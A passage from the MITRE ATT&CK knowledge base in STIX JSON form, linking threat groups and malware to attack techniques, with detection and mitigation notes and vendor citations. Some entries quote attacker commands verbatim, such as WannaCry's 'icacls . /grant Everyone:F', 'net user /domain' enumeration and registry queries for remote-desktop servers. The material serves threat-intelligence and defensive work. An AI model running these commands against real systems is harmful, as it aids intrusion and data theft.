","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c48f6a1b-1599-4e82-a7b6-1f7b5186e99e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"}],"modified":"2020-06-02T16:14:00.331Z","description":"One variant of [BlackEnergy](https://attack.mitre.org/software/S0089) creates a new service using either a hard-coded or randomly generated name.(Citation: F-Secure BlackEnergy 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c48ff628-9276-492f-a61c-73989785b292","type":"relationship","created":"2019-01-29T18:44:05.137Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Agent Tesla Oct 2018","url":"https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html","description":"Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018."}],"modified":"2020-05-28T23:41:03.883Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can encrypt data with 3DES before sending it over to a C2 server.(Citation: Talos Agent Tesla Oct 2018)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4953a3b-d674-4582-b644-1339ec097aad","type":"relationship","created":"2021-03-19T21:04:01.261Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 TA551 Jan 2021","url":"https://unit42.paloaltonetworks.com/ta551-shathak-icedid/","description":"Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}],"modified":"2021-03-19T21:04:01.261Z","description":"[TA551](https://attack.mitre.org/groups/G0127) has retrieved DLLs and installer binaries for malware execution from C2.(Citation: Unit 42 TA551 Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c495478b-6bae-4d1e-a43e-be07fe7cdb48","created":"2021-01-22T21:09:58.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.429Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has queried Registry keys using reg query \\\\\\HKU\\\\SOFTWARE\\Microsoft\\Terminal Server Client\\Servers and reg query \\\\\\HKU\\\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4962ae6-91e2-407d-9f42-aa0381574476","type":"relationship","created":"2017-05-31T21:33:27.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2020-03-18T19:23:15.492Z","description":"[admin@338](https://attack.mitre.org/groups/G0018) actors used the following commands following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to enumerate user accounts: net user >> %temp%\\download net user /domain >> %temp%\\download(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4995d4f-2b7e-439f-afb1-a4c9218c7a08","type":"relationship","created":"2019-01-30T17:43:28.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.","url":"https://securelist.com/darkhotels-attacks-in-2015/71713/","source_name":"Securelist Darkhotel Aug 2015"}],"modified":"2020-03-16T20:05:43.545Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has dropped an mspaint.lnk shortcut to disk which launches a shell script that downloads and executes a file.(Citation: Securelist Darkhotel Aug 2015)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c49a3d89-c8fa-4c5d-813e-f4495d892d1a","type":"relationship","created":"2019-03-25T19:13:54.947Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"LogRhythm WannaCry","url":"https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/","description":"Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."}],"modified":"2020-03-17T15:13:03.314Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) uses attrib +h and icacls . /grant Everyone:F /T /C /Q to make some of its files hidden and grant all users full access controls.(Citation: LogRhythm WannaCry)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c49b5147-f60f-43d7-b119-52b1761002af","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2019-04-24T23:21:59.138Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) has been delivered via Word documents using DDE for execution.(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c49b6142-a274-42bb-9e92-fc13ec15400d","created":"2022-04-28T16:06:09.116Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash.","modified":"2022-04-28T16:06:09.116Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c49ddd81-075e-491a-9eb7-69ff7c55b81c","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Monitor for third-party application logging, messaging, and/or other service artifacts that provide context of user authentication to web applications, including cloud-based services. Combine this information with web credentials usage events to identify authentication events that do not fit the organization baseline.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c49f7336-749e-483b-8873-9283a377546d","type":"relationship","created":"2020-02-04T13:02:12.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-04T13:02:12.002Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4a2a14a-6fb0-46cf-b97d-c4bcb1c751a7","type":"relationship","created":"2019-02-12T16:33:29.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."}],"modified":"2020-03-17T15:13:26.623Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) stores all collected information in a single file before exfiltration.(Citation: ESET Zebrocy Nov 2018)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4a566d6-69ce-4284-809d-433663e3e2fa","type":"relationship","created":"2020-03-19T22:19:04.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}],"modified":"2020-03-19T22:19:04.578Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used Ncrack to reveal credentials.(Citation: FireEye APT39 Jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4a8a9ea-c24a-4ddf-9451-5855da9a4251","type":"relationship","created":"2019-03-25T15:05:23.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","source_name":"Talos Olympic Destroyer 2018"}],"modified":"2019-06-30T23:07:53.995Z","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to enumerate all systems in the network.(Citation: Talos Olympic Destroyer 2018)","relationship_type":"uses","source_ref":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4aec6a5-2c11-45a2-8c79-8cccf85179cb","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Umbreon Trend Micro","description":"Fernando Mercês. (2016, September 5). Pokémon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046"}],"modified":"2020-03-17T02:46:29.289Z","description":"[Umbreon](https://attack.mitre.org/software/S0221) provides access to the system via SSH or any other protocol that uses PAM to authenticate.(Citation: Umbreon Trend Micro)","relationship_type":"uses","source_ref":"malware--3d8e547d-9456-4f32-a895-dc86134e282f","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4b215ab-a9ba-43aa-a354-8ac0289abde1","type":"relationship","created":"2021-04-16T03:03:57.889Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-16T17:47:46.541Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4b3287c-5e5a-4ec0-bc20-4e3b6a0c296f","type":"relationship","created":"2019-07-16T20:53:20.687Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Removable Media Control","description":"Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.","url":"https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx"}],"modified":"2020-07-14T19:44:51.001Z","description":"Disallow or restrict removable media at an organizational policy level if they are not required for business operations.(Citation: TechNet Removable Media Control)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c4b6c967-54d8-4ba5-9016-5d0ef0b6cc0b","created":"2021-05-03T19:10:10.755Z","x_mitre_version":"1.0","external_references":[{"source_name":"Certfa Charming Kitten January 2021","url":"https://blog.certfa.com/posts/charming-kitten-christmas-gift/","description":"Certfa Labs. (2021, January 8). Charming Kitten’s Christmas Gift. Retrieved May 3, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has registered fraudulent domains such as \"mail-newyorker.com\" and \"news12.com.recover-session-service.site\" to target specific victims with phishing attacks.(Citation: Certfa Charming Kitten January 2021)","modified":"2022-04-08T18:07:32.611Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4bc8f71-e4f4-42b8-a39f-b4512987a423","type":"relationship","created":"2021-02-08T21:24:53.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."},{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T18:04:49.164Z","description":"[Volatile Cedar](https://attack.mitre.org/groups/G0123) has targeted publicly facing web servers, with both automatic and manual vulnerability discovery.(Citation: CheckPoint Volatile Cedar March 2015) (Citation: ClearSky Lebanese Cedar Jan 2021) ","relationship_type":"uses","source_ref":"intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4bea2b7-e8a2-45d0-bac2-4d82576c1521","type":"relationship","created":"2017-05-31T21:33:27.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","source_name":"Kaspersky Carbanak"}],"modified":"2019-03-22T19:59:27.070Z","description":"(Citation: Kaspersky Carbanak)","relationship_type":"uses","source_ref":"intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4c08678-eee9-475c-9a67-67b15278ec54","created":"2019-09-24T12:31:43.693Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.541Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used compiled HTML (.chm) files for targeting.(Citation: FireEye APT41 Aug 2019) ","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4c1e4e6-5662-42cd-86e1-fa7b3c82f84c","type":"relationship","created":"2020-05-08T18:56:22.979Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."},{"source_name":"Kaspersky Cloud Atlas December 2014","url":"https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/","description":"GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:18:44.004Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has used VBScript to execute malicious commands and payloads.(Citation: Unit 42 Inception November 2018)(Citation: Kaspersky Cloud Atlas December 2014)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c4c83769-f5e3-4556-85b8-140060c6c0d0","created":"2022-08-04T00:29:13.276Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes made to firewall rules, especially unexpected modifications that may potentially be related to allowing and/or cleaning up previous tampering that enabled malicious network traffic.","modified":"2022-08-04T00:29:13.276Z","relationship_type":"detects","source_ref":"x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f","target_ref":"attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4c9ecf8-168e-41b6-ad98-f3bf7d8927bf","created":"2022-10-19T23:09:00.970Z","revoked":false,"external_references":[{"source_name":"crowdstrike bpf socket filters","description":"Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October 18, 2022.","url":"https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T23:09:00.970Z","description":"Identify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters)","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4cbbe25-bc29-406d-b92e-6e50ee4cd322","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"[SHUTTERSPEED](https://attack.mitre.org/software/S0217) can download and execute an arbitary executable.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--4189a679-72ed-4a89-a57c-7f689712ecf8","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4cce9f3-6124-4ead-94b2-789464bd2719","created":"2023-09-28T13:24:35.310Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:36:26.382Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can enumerate AWS infrastructure, such as EC2 instances.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4cced3e-4a44-48e0-a299-63a03c63b598","created":"2024-09-23T20:37:49.490Z","revoked":false,"external_references":[{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:37:49.490Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used various legitimate tools, such as `mshta.exe` and [Reg](https://attack.mitre.org/software/S0075), and services during operations.(Citation: unit42_gamaredon_dec2022) ","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4cd588d-264a-468d-a472-8667b363d819","created":"2022-09-08T13:55:33.319Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T16:59:51.019Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used pass-the-hash tools to obtain authenticated access to sensitive internal desktops and servers.(Citation: McAfee Night 